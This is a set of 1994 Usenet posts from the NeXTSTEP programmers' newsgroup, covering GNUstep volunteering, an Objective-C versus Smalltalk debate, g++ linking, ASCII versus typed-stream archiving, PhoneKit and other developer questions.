4. Fire burns.
Newsgroups: comp.sys.next.programmer From: Paul_Kunz@slac.stanford.edu (Paul Kunz) Subject: Re: CALL FOR VOLUNTEERS FOR A NeXTStep -> OpenStep --> GNUGnuStep PROJECT Message-ID: <CK9Mrn.HH6@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <1994Jan24.215906.16121@wdl.loral.com> Date: Thu, 27 Jan 1994 01:57:22 GMT In article <1994Jan24.215906.16121@wdl.loral.com> mdm@wdl1.wdl.loral.com (Mike D Marchionna) writes: > > CALL FOR VOLUNTEERS FOR A NeXTStep -> OpenStep --> GnuStep PROJECT > > The Objective-C compiler: > ------------------------- > Thanks to the FSF there is now a usable Objective-C compiler available > to almost everyone in the form of gcc-2.5.7. While certain differences > do exist between NeXT's compiler and GNU's gcc, they are close enough > that work can be started on building a GNU version of the appkit. > Beware: It doesn't work for IBM RS/6000 or DEC Alphas. > > The NeXT AppKit > --------------- > With the forthcoming OpenStep specification the AppKit's API and object > hierarchy will become public domain. This should greatly reduce > development time since a working model is already in existence. In fact > an effort to do just that is already under way thanks to Paul Kunz and > company. There are several possible approaches to this effort. > > AppKit via Motif: (The approach Paul Kunz's group have taken) > ------------------------------------------------------------------ > This effort would attempt to replicate the AppKit API as close as > possible by introducing another layer on top of the Motif/Xt layer. > This approach is actually not very desirable, but it achieves its > ends the least amount of time and effort. Much Useful knowledge and > code be reused from this effort for one of the above efforts. > It's not really another layer. We just use Motif widgets to do the drawing and input handling so all Motif/Xt calls are quite localized. The plan is to localize them in a category and have a separate file for it. One can imagine the same category implemented without Motif in another file. Then if you wanted Motif (some people do) you'd type 'make motif' to build the library, or 'make somethingelse' to build the library with the something else. We already have some classes with no Motif in it at all, such as Control and ActionCell. Some have Motif/Xt in only one or two methods, like NXBrowser. I think we have a good starting point for GNUStep, but we must have a version that is Motif free before it can be donated. > > Portable Distributed Objects (PDO) > ---------------------------------- > The folks at WilTel corp have done it but can't donate it. They estimate 4-6 man-months work to implement it > > Project/Interface Builder > ------------------------- > In order to gain mass acceptance some kind of Interface Builder tool > will need to be built. It need not be as elaborate as NeXT's, but > should free the programmer of postioning and arranging application > interfaces. A translator has already been written to disassemble the > NeXT NIB files and convert the typed stream to the GNU typed stream > format. > We've done the translator, but it must work with the library and ours only works on a real NeXT. I think I understand pretty well how to write InterfaceBuilder, but have no plans to do so. I'd be glad to give technical guidence to anyone who wants to try. > Now are there any takers? > Well, me, of course. I've been working on ScrollView (which has Motif in only two methods) all day which is why I didn't see you message until now. I'd like to see a Motif/Xt version done well enough to be usable first before being more ambitious with Display GhostScript. If some people would like to help in this, the sources are available, just drop me a line. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
From: jeske@ux4.cso.uiuc.edu (David Jeske) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 27 Jan 1994 02:51:01 GMT Organization: University of Illinois at Urbana Message-ID: <2i7a6l$69@vixen.cso.uiuc.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> <2i534o$6g0@vixen.cso.uiuc.edu> <jeffo.759581186@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: >David Jeske writes: >I agree, but unfortunately, I've never seen an Obj-C program of any >substance (e.g., something beyond a demo or brief Obj-C instructional >program) that had only Obj-C code (e.g., everything declared as an id, >no pointers or casts used and only Obj-C header files imported). >I'm not saying writing lengthy programs in only Obj-C won't ever be >done. I'm saying when I compare commonly found or so-called >"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to >read and remember. Well, I have worked on some rather large projects, On in particular had ONE non objective header file of #defines. Most of the code was in straight Objective-C with loops and string copies being the only exceptions. -- David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer CoCreator of the GTalk Chat Software System - online at (708)998-0008 Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu
Newsgroups: comp.sys.next.programmer From: Paul_Kunz@slac.stanford.edu (Paul Kunz) Subject: Re: CALL FOR VOLUNTEERS FOR A NeXTStep -> OpenStep --> GNUGnuStep PROJECT Message-ID: <CK9sM0.KIC@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <CK9Mrn.HH6@unixhub.SLAC.Stanford.EDU> Date: Thu, 27 Jan 1994 04:03:35 GMT In article <CK9Mrn.HH6@unixhub.SLAC.Stanford.EDU> Paul_Kunz@slac.stanford.edu (Paul Kunz) writes: > We've done the translator, but it must work with the library and ours > only works on a real NeXT. That is, the translator only works on a NeXT (Intel or Motorola). -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: c++'ing under NS3.2 (RTF posting) Date: 27 Jan 1994 05:04:26 GMT Organization: Division of Information Technology Message-ID: <2i7i0q$ses@news.doit.wisc.edu> References: <1994Jan26.152400.2103@nugget.rmNUG.ORG> In article <1994Jan26.152400.2103@nugget.rmNUG.ORG> karl@khaos.com (Karl Hanzel) writes: OK (i'm reviewing my c++ from over a year ago), i had heard that 3.2 was supposed to have the complete g++ libraries included, and that appears to be true. More than anything, i'm just not familiar with the cc++ compiler. What's to do with the following "text book" example?: #include <iostream.h> main() { cout << "Hello, World\n"; } $ cc++ hello.c ld: Undefined symbols: _cout ostream::operator<<(const char *) I grep'd around trying to determine where cout is constructed, but didn't find anything. The only reference to it at all is in iostream.h where it's declared as an extern: extern ostream cout, cerr, clog; // clog->rdbuf() == cerr->rdbuf() So i'm puzzled. What is the third line from the compiler about?... is that still in reference to the undefined symbol? If i inject ostream cout; to declare it myself, i get more flak: $ cc++ hello.c ld: Undefined symbols: ostream::operator<<(const char *) ostream::~ostream() ostream::ostream(int) Pffft! What gives? Thanks, Karl *-----> What gives is that you forgot to link in the g++ libraries (thats why ld (otherwise known as the linker) is giving you the Undefined symbols treatment). If you do the following you won't have a problem: cc++ hello.c -lg++ For example, arundel> cat hello.c #include <iostream.h> main() { cout << "Hello, World\n"; } arundel> cc++ hello.c -lg++ arundel> a.out Hello, World arundel> Erik
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil Message-ID: <1994Jan26.225707.2062@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2hurds$c9i@senator-bedfellow.MIT.EDU> Date: Wed, 26 Jan 1994 22:57:07 GMT In article <2hurds$c9i@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: [portions omitted] -> - Hot links to code that runs - the ability to have the -> user double click near a portion of your code and -> actually see it run, while they also see the editor -> step through the source line by line. Much like -> what happens in GDB, but without having to -> manually set a breakpoint and launch GDB. Hmmmmm How about an executable version of .gdbinit that is the target of the link. That would require the link handler to recognize executables (int the filesystem) as executable and have Workspace launch them, rather than opening them to read. #!/bin/gdb myProject.app/MyProject -f checkpointx.gdbinit etc...
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin) Subject: fold [ -b] [ -s] [ -w Width ] [ File... ] Message-ID: <CK9qLt.HCy@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Thu, 27 Jan 1994 03:20:17 GMT Most interesting subject I could make for this. That's "fold" from the RS/6000. On the NeXT, we don't have "-s" and for the life of me I can't find a Width number that isn't a "bad number." Is there something comparable? I'm afraid fmt won't always get it. Am I wrong? jpw@virginia.edu
From: jeffo@uiuc.edu (J.B. Nicholson-Owens) Newsgroups: comp.sys.next.programmer Subject: Smalltalk and Obj-C (was: Re: Is Objective - C a dead language ?) Date: 27 Jan 94 08:01:16 GMT Organization: University of Illinois at Urbana Message-ID: <jeffo.759657676@uiuc.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> <2i534o$6g0@vixen.cso.uiuc.edu> <jeffo.759581186@uiuc.edu> <2i5ulq$oi@steffi.demon.co.uk> I wrote: >I'm not saying writing lengthy programs in only Obj-C won't ever be >done. I'm saying when I compare commonly found or so-called >"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to >read and remember. Robert Nicholson replied: >Sure but Smalltalk is Smalltalk. This issue has absolutely nothing >to do with readability. A language shouldn't be considered good, >hence doesn't stand a living chance of dying (work that one out) just >because it is readable. Perhaps something got lost in this thread somewhere. I find Smalltalk to be more readable. This is my opinion and is, therefore, not subject to argument. Others will (most likely) differ, but I remain firm on what my opinion is (since I know what my opinions are better than anyone else). Part of what I consider a "good" computer programming language is it's readability. There are other concerns as well. For instance, if I'm hired to program, I figure that I'll be told in what languages I will be expected to program in, therefore the choice has been made for me irregardless of my opinions on the matter. Another concern is what language is best for the task at hand; it might be the case that although making a compiled C program will work, the application doesn't need to be anything but something I can whip up in a jiffy with a shell script. My preferences or tastes will come into play only if I can choose what language in which I will program. In the case of Smalltalk and Obj-C, I prefer what I feel to be the more readable language, Smalltalk, because it saves me time when I have to re-read my own code. If I have to spend as much time and effort re-reading the code as I did when I designed that part of the program and wrote that code, I feel I'm not saving any time; I feel as if I'm (basically) re-inventing that code. -- J.B. Nicholson-Owens (*NO* NeXTmail please)
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Resizing a DBTableView with User version of NEXTSTEP 3.0 Message-ID: <1994Jan27.085926.246@dart.de> Sender: aspohr@dart.de Organization: d'ART Computersysteme GmbH References: <1994Jan24.211439.2509@afs.com> Date: Thu, 27 Jan 94 08:59:26 GMT In article <1994Jan24.211439.2509@afs.com> Gregory_Mutzel@afs.com writes: > DBTableView Question: > End users who only have the User versions of NEXTSTEP (3.0) installed are > not able to resize DBTableView columns. I head a rumor that this was > because the the user version did not come with some required files (tiffs > and such). Is there a recommended fix for this problem that I have not > been able to find? Any help would be appreciated. > Get the DBxxx.tiff files from /usr/lib/NextStep/Resources from a developer machine and put them on the user system. That's all. Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Smalltalk and Obj-C (was: Re: Is Objective - C a dead language ?) Date: 27 Jan 1994 11:01:07 -0000 Organization: me organized? That's a joke! Message-ID: <2i86tj$2bq@steffi.demon.co.uk> References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759581186@uiuc.edu> <2i5ulq$oi@steffi.demon.co.uk> <jeffo.759657676@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) wrote in comp.sys.next.programmer >I wrote: >In the case of Smalltalk and Obj-C, I prefer what I feel to be the >more readable language, Smalltalk, because it saves me time when I >have to re-read my own code. If I have to spend as much time and >effort re-reading the code as I did when I designed that part of the >program and wrote that code, I feel I'm not saving any time; I feel as >if I'm (basically) re-inventing that code. >-- >J.B. Nicholson-Owens (*NO* NeXTmail please) OK, if readability is the _only_ issue then perhaps you may have a point. Personally comming from a C background _I_ don't find Smalltalk more readable. a := 1 isn't readable to me., Yes I can cope with == and the way Smalltalk uses messaging for selection and interation constructs _really_ isn't readable for me. But I say again, I do not see any environment being worthwhile unless you have _some_ static typechecking available. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Is Objective - C a dead language ? Message-ID: <CKAo5L.HMp@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <0hFiKca00iV3Q9d0UV@andrew.cmu.edu> Distribution: usa Date: Thu, 27 Jan 1994 15:24:56 GMT In article <0hFiKca00iV3Q9d0UV@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: >>Excerpts from netnews.comp.sys.next.programmer: 26-Jan-94 Re: Is >>Objective - C a dead.. by J.B. Nicholson-Owens@uiu >>> I agree, but unfortunately, I've never seen an Obj-C program of any >>> substance (e.g., something beyond a demo or brief Obj-C instructional >>> program) that had only Obj-C code (e.g., everything declared as an id, >>> no pointers or casts used and only Obj-C header files imported). >> >>Obj-C isn't completely different than C, you know! The kind of >>restrictions you suggest are silly, IMHO; you would lose all >>typechecking. Obj-C doesn't have the kind of polymorphic type checking >>of a more functional language (SML, maybe SmallTalk).... I wasn't aware there was ANY type checking in Smalltalk...aside from isKindOf: -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: wjs@omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: Typed streams are evil (I've implemented text, it's better) Date: 27 Jan 1994 06:35:20 -0800 Organization: The Omni Group Message-ID: <2i8jf8$4pq@yucca.omnigroup.com> References: <2i3i4s$lh1@darkstar.UCSC.EDU> <CK7GoD.5H8@cbfsb.cb.att.com> Typed streams aren't as good as a decent ASCII format. Even with versioning there are still lots of problems with TypedStreams: they are slow, they don't allow you to change your class heirarchy, they aren't user editable, diffable, or cvsable, they make it very hard to figure out when they are corrupt, it's harder to write utilities to massage them and it's harder for users to generate them, it's harder to other programmers to make their programs compatible with yours. When we switched to ASCII files we discovered a ton of advantages; one, for instance, is that if a program is outputting bad files or if a user file becomes corrupted, it's much easier for us to diagnose and fix the problem. I recently implemented a class that can read/write the very simple but flexible file format that is used by NeXT in a lot of their files: DBModeler's .dbmodela files (which uses a degenerate case, bad example), InterfaceBuilder's data.classes file inside .nib files, ProjectBuilder's PB.project files, the built-in addressbook format (see the file /usr/template/user/Library/Addresses/Example.addresses/AddressBook.table for instance), NeXT's defaults file (~/.NeXT/defaults3_1.wmd), NeXT's suffixes cache (~/.NeXT/suffixes3_1.m68k.wmd), and possibly others. This format is simple enough I didn't have to use lex and yacc, I simply wrote a small but fast general parser that can read in any file in this format. The amazing things I discovered were: (1) the speed of reading and writing these ascii files is about comparable to TypedStreams, and (2) the file sizes for equivalent files were almost identical to those of TypedStreams. Amazing but true. This is because I don't write out redundant data the way people writing TypedStreams tend to, and because I have a mechanism for not writing out any data I can figure out. -Wil Shipley President, Omni Development, Inc. (aka The Omni Group) "We're not just DBKit weenies!"
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 27 Jan 1994 18:18:47 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2i90i7$855@ftp-p.mccaw.com> References: <2i7a6l$69@vixen.cso.uiuc.edu> David Jeske writes # jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: # # #David Jeske writes: # # #I'm not saying writing lengthy programs in only Obj-C won't ever be # #done. I'm saying when I compare commonly found or so-called # #"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to # #read and remember. # # Well, I have worked on some rather large projects, On in particular # had ONE non objective header file of #defines. Most of the code was in # straight Objective-C with loops and string copies being the only # exceptions. # Great, then you were using programmer discipline to emulate what comes natural in Smalltalk, no? -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 27 Jan 1994 18:18:52 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2i90ic$856@ftp-p.mccaw.com> References: <2i7a6l$69@vixen.cso.uiuc.edu> David Jeske writes # jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: # # #David Jeske writes: # # #I'm not saying writing lengthy programs in only Obj-C won't ever be # #done. I'm saying when I compare commonly found or so-called # #"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to # #read and remember. # # Well, I have worked on some rather large projects, On in particular # had ONE non objective header file of #defines. Most of the code was in # straight Objective-C with loops and string copies being the only # exceptions. # Great, then you were using programmer discipline to emulate what comes natural in Smalltalk, no? -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: Re: Smalltalk and Obj-C (was: Re: Is Objective - C a dead language ?) Date: 27 Jan 1994 18:21:36 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2i90ng$857@ftp-p.mccaw.com> References: <2i86tj$2bq@steffi.demon.co.uk> Robert Nicholson writes > But I say again, I do not see any environment being worthwhile unless > you have _some_ static typechecking available. Why? -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.sysadmin From: yiannis@prologos.nrl.navy.mil (John Michopoulos) Subject: Hot keyed keyboard to load custom keyboard mappings???? Message-ID: <CKB59v.92@ra.nrl.navy.mil> Sender: usenet@ra.nrl.navy.mil Organization: Naval Research Lab, Washington, DC Date: Thu, 27 Jan 1994 21:34:42 GMT Does anybody know of a way to make some keys "hot" so when they are pressed they load a particular xxx.keymapping without having to use the "use" button of the "Keyboard.app" ??? I guess my question can be parsed to two questions: 1. Is there any "hot key" and any keyboard macro capability in NeXTSTEP 3.x on black hardware? 2. How does one load in software a " xxxx.keymapping" to take effect on the keyboard (something that the Keyboard.app is obviously doing)? I would greatly appreciate any help you can send me Thanks --john m. ------------------------------------------------------------------------ |Dr.John Michopoulos (yanni)| Tel: (202) 767-2165 or -2189 | | Research Scientist | Fax: (202) 767-9181 | | Naval Research Laboratory | e-mail: yiannis@prologos.nrl.navy.mil | | Code 6380 | michopoulos@ccf3.nrl.navy.mil | | 4555 Overlook Avenue, S.W.| michopoulos@anvil.nrl.navy.mil | | Washington DC 20375-5000 | send NeXTmail to prologos.nrl.navy.mil | ------------------------------------------------------------------------ | A glimpse of a dream: Let's build rational amplifiers to move facts | | swiftly and massively so instead of crafstmen we become artists of | | research and discovery in both the physical and the conceptual worlds.| | Dreams are facts in the conceptual world anyway. | ------------------------------------------------------------------------
From: bisselt@edmund.gb.swissbank.com (Timothy Bissell) Newsgroups: comp.sys.next.programmer Subject: Re: P.D.O. specifications Date: 27 Jan 1994 10:46:42 GMT Organization: Swiss Bank Corporation Distribution: world Message-ID: <BISSELT.94Jan27104642@edmund.gb.swissbank.com> References: <2i43qi$74@darkstar.UCSC.EDU> In-reply-to: art@cubicsol.com's message of 25 Jan 1994 21:43:46 GMT PDO's contain only the foundation classes; Object, HashTable, Storage, List etc., and support for the NS default system, so no dbkit to my knowledge (mind you, I have only seen the beta release...) Tim -- tim -- Work: bisselt@gb.swissbank.com | +44 71 711 2984 | Ducati 750SS Home: tim@ursidae.demon.co.uk | +44 480 451 022 | DoD#174
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Typed streams are evil (I've implemented text, it's better) Date: 27 Jan 1994 19:11:27 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2i93kv$f5n@gpo.gb.swissbank.com> References: <2i8jf8$4pq@yucca.omnigroup.com> In article <2i8jf8$4pq@yucca.omnigroup.com> wjs@omnigroup.com (William Shipley) writes: [Excellent argument in favour of ascii deleted] I think what we need is a standard way of archiving objects as ascii text. This mechanism could then be used to unify and replace 1) typed streams, 2) nib files, 3) the defaults database and 4) whatever DO's use to pass themselves over the wire. These are all just different aspects of the same thing: freeze-dried objects. I include the defaults database because that is also mainly used for saving application state info, even if it's only the "Controller" object. Nib files are an interesting case: IB is really just an editor for archived objects. One thing I'm not sure about though is how the connection mechanism works - anyone like to comment on how connections might be archived? Imagine replacing read:/write:, encode:/decode:, awakeFromNib etc with just standard in:/out: methods using an ascii stream. Possible? Dave Griffiths
From: Randy Antler Newsgroups: comp.sys.next.programmer Subject: Can you _SEND_ info through the keyboard? Date: 27 Jan 1994 22:46:12 GMT Organization: CERFnet Distribution: usa Message-ID: <2i9g7k$ipk@news.cerf.net> Has anyone out there had any experience accessing the NeXT keyboard via hardware device i/o? We are trying to determine how to _send_ information out on the keyboard interface to control some hardware installed between the keyboard and the workstation. We are using both black hardware and intel hardware. The solution needs to be intel specific I think. -- Randy Antler (NeXTSTEP developer) NeXT Mail preferred <randy@nacm.com> Work address <randy@pilot.com> Home address
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: bebeada@elof.acc.iit.edu (Adam Beberg) Subject: Seeking improved fingerd/finger code... Message-ID: <1994Jan28.020645.14988@iitmax.iit.edu> Keywords: fingerd finger Sender: news@iitmax.iit.edu (News) Organization: Illinois Institute of Technology, Chicago Date: Fri, 28 Jan 94 02:06:45 GMT Greetings... I'm looking for source for improved versions of fingerd to provide aditional services, i.e. mail messages to the fingerie etc. I have gotten the standard bsd fingerd code but it does just about nothing... Any improvements would be appreciated, please post in comp.sys.next.programmers or mail me... --- Adam Beberg. | Golden Sphinx (tm) | Only by leading can you see ahead. bebeada@elof.acc.iit.edu | NeXTMail Welcome. | ))) In Stereo Where Available (((
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software From: mb@orchard.Princeton.EDU (Matthias Blumrich) Subject: WANTED: network sound playing info Message-ID: <1994Jan27.233810.12210@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Thu, 27 Jan 1994 23:38:10 GMT Hi. If I'm logged onto a NeXT machine, is there a way to play a sound remotely on a different NeXT machine? I tried logging in to the remote machine, but sndplay wouldn't run. Please send responses to mb@cs.princeton.edu. Thanks! - Matt -
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: PhoneKit help needed. Message-ID: <1994Jan28.004219.16655@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2i67cd$fub@hahn.informatik.hu-berlin.de> Date: Fri, 28 Jan 1994 00:42:19 GMT While I'm not 100% sure since I don't have ready access to 3.0, it sounds like some kernel server is not running. Look at /etc/rc in 3.0 to see what gets loaded in when the system boots. i.e. search for any kl_util or PhoneServer commands. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2i67cd$fub@hahn.informatik.hu-berlin.de> balfanz@zorro.informatik.hu-berlin.de (Dirk Balfanz) writes: > As PhoneKit has gone away in 3.1 I tried to bring it back to life. So I > took my 3.0 CD and copied the following files to my hard disk: > > /usr/lib/libphone_p.a > /usr/lib/libphone_s.a > /usr/shlib/libphone_s.A.shlib > /usr/lib/phone/PhoneServer > /NextDeveloper/Headers/phonekit/* > > Is this all there is to it? I'm asking because my little program refuses > to work: > > --------------------------------------------------------------------- --- > #import<phonekit/NXPhone.h> > #import"MyCall.h" > #import"MyChannel.h" > > > main() { > id thePhone = [[NXPhone alloc] initType: NX_POTSDevice]; > id theChannel = [[MyPhoneChannel alloc] initType: NX_POTSChannel]; > id theCall = [[MyPhoneCall alloc] initType: NX_VoiceCall]; > > [theChannel addCall: theCall]; > [thePhone addChannel: theChannel]; > [thePhone acquireChannel: theChannel]; > > [theCall pickUp]; > [thePhone run]; > } > --------------------------------------------------------------------- --- > > The only thing actually to be done is: > > --------------------------------------------------------------------- --- > .. > @implementation MyPhoneCall > .. > - (void)dialToneReceived { printf("Dialtone Received!!!\n"); } > .. > --------------------------------------------------------------------- --- > > It compiles fine but, when executed, gives only: > 'Couldn't get kernel_task: failure(5)' > > The Console says: > > 'Can't load isdn server > NXPhone: Unable to establish connection > couldn't find parameter port' > > It's the first time I try to play around with PhoneKit. What am I missing > here? Is it release 3.1 that makes it impossible or didn't I understand > how to write PhoneKit apps. Or maybe I just failed to restore the stuff? > > Can somebody help me out in my despair? > > Thanks in advance. > Dirk.
Newsgroups: comp.sys.next.programmer From: flash!jon@myxa.com Subject: "NeXT Registered Consultant" Message-ID: <CKBt2B.KyB@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Fri, 28 Jan 1994 06:08:34 GMT So, has anyone gotten their money's worth out of being a "Registered Consultant"? -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: t146678@lehtori.cc.tut.fi (Tuominen Juha) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Window Sound System driver source needed Date: 28 Jan 1994 08:17:16 +0200 Organization: Tampere University of Technology, Computing Centre Distribution: world Message-ID: <2iaalc$mb8@cc.tut.fi> I'm writing a driver for Crystal's CS4231 codec chip and found out that WSS driver uses it correctly. However 4231 has some advanced functions over the standard WSS spesifications (ADPCM coding/decoding) and I need to use these features. So the easiest way to solve the problem is to sligthly modify WSS driver source, but it's not included with NSi3.2. Could it be available from NeXT at all? Where should I ask it? Phone numbers, e-mail addresses, fax numbers and emails are welcome. I need this info as soon as possible. -Juha -- Doctor, doctor! I suck. You've gotta help me.
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: rmartin@rcmcon.com (Robert Martin) Subject: Re: Is Objective - C a dead language ? References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1bvu$12n@steffi.demon.co.uk> Organization: R. C. M. Consulting Inc. 708-918-1004 Date: Tue, 25 Jan 1994 14:54:48 GMT Message-ID: <1994Jan25.145448.10456@rcmcon.com> Distribution: usa >jirapa@nextover.pe.utexas.edu wrote >>Hi, >> >>I had heard something blasphemous in my C++ class. The instructor said that >>objective-C is a dead language. Can anybody contribute to this comment? Is it >>true or false or partly true? and why? The definition of a dead language is a language that no one speaks anymore. Certainly OC does not fit this definition. There are lots of active development efforts employing OC. I don't even think it is fair to say that OC is dying since there are more lines of OC being written today than there were 5 years ago. The language has even begun to enjoy multiple sources. Clearly an attribute of a "living" language. I don't think anyone can deny that C++ is growing faster than OC, but OC is alive and well and enjoying its own brand of prosperity. -- Robert Martin | Design Consulting | Training courses offered: Object Mentor Assoc.| rmartin@rcmcon.com | Object Oriented Analysis 2080 Cranbrook Rd. | Tel: (708) 918-1004 | Object Oriented Design Green Oaks IL 60048 | Fax: (708) 918-1023 | C++
Newsgroups: comp.sys.next.programmer From: ericw@its.com (Eric Wespestad) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Jan27.175158.23360@its.com> Keywords: Objective-C, Languages Sender: usenet@its.com Organization: Information Technology Solutions References: <jeffo.759581186@uiuc.edu> Date: Thu, 27 Jan 1994 17:51:58 GMT In article <jeffo.759581186@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: > David Jeske writes: > > >Objective-C is a C/SmallTalk hybrid, and I think in a well balanced > >Objective-C program the code is VERY readable. Mind you, the more C the > >programmer uses, the less readable (and usually faster) it is... but > >Straight Objective-C code is very readable. > > I agree, but unfortunately, I've never seen an Obj-C program of any > substance (e.g., something beyond a demo or brief Obj-C instructional > program) that had only Obj-C code (e.g., everything declared as an id, > no pointers or casts used and only Obj-C header files imported). > > I'm not saying writing lengthy programs in only Obj-C won't ever be > done. I'm saying when I compare commonly found or so-called > "real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to > read and remember. > -- > J.B. Nicholson-Owens (*NO* NeXTmail please) I have seen Obj-C used on **very** large projects - they were and are enormous successes. Your comments are somewhat amazing. Also, look at the big ISV packages for NEXTSTEP. What about the NEXTSTEP O/S itself? Complex trading systems are being built in Obj-C at NationsBanc/CRT, First Chicago, Swiss Bank, and elsewhere. I could go on, but enough said. The reason why Obj-C is suitable for large projects is this: it is a **small** extensible language. This is why Modula-2 was (economically) better than Ada, why Fortran was better than Cobol, why Pascal is heavily used in education (still), and why (to some) Obj-C can be better than C++.
Newsgroups: comp.sys.next.programmer From: anderson (Ken Anderson) Subject: Re: Can you send messages to objects from an interrupt handler? Message-ID: <1994Jan27.033819.21392@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2hk170$bg2@cmcl2.NYU.EDU> Date: Thu, 27 Jan 1994 03:38:19 GMT In article <2hk170$bg2@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > >I have an interrupt handler that is called every time a message >arrives at a socket. I set up this by calling: > >DPSAddFD(sock, (DPSFDProc)io_handler, self, NX_BASETHRESHOLD+1); > >where sock is a socket and the io_handler is written as a C function >outside the object implementation: > >void io_handler(int sock, id mainId) >{ >.... body of handler .... >} > >I would like to send a message to another object from the body >of the io_handler. Can this be done? If I write a line like > >[anotherObject message]; > >in the body of io_handler() I get: > >'anotherObject' undeclared (first use this function). > >Thank you very much in advance. >-- >Dario Dario, There's no problem in your sending messages to objects while inside your function... the only problem is, 'anotherObject' needs to be accessible. The most elegant way I can think of is to use the global NXApp. If you have a controller object that is the delegate of the application object, set up some methods to access the objects you need... OR, have the controller (or a subclass of application) due all the work you want to do. anotherObject = [[NXApp delegate] myObject]; Ken Anderson anderson@biztech.com Stamford, CT
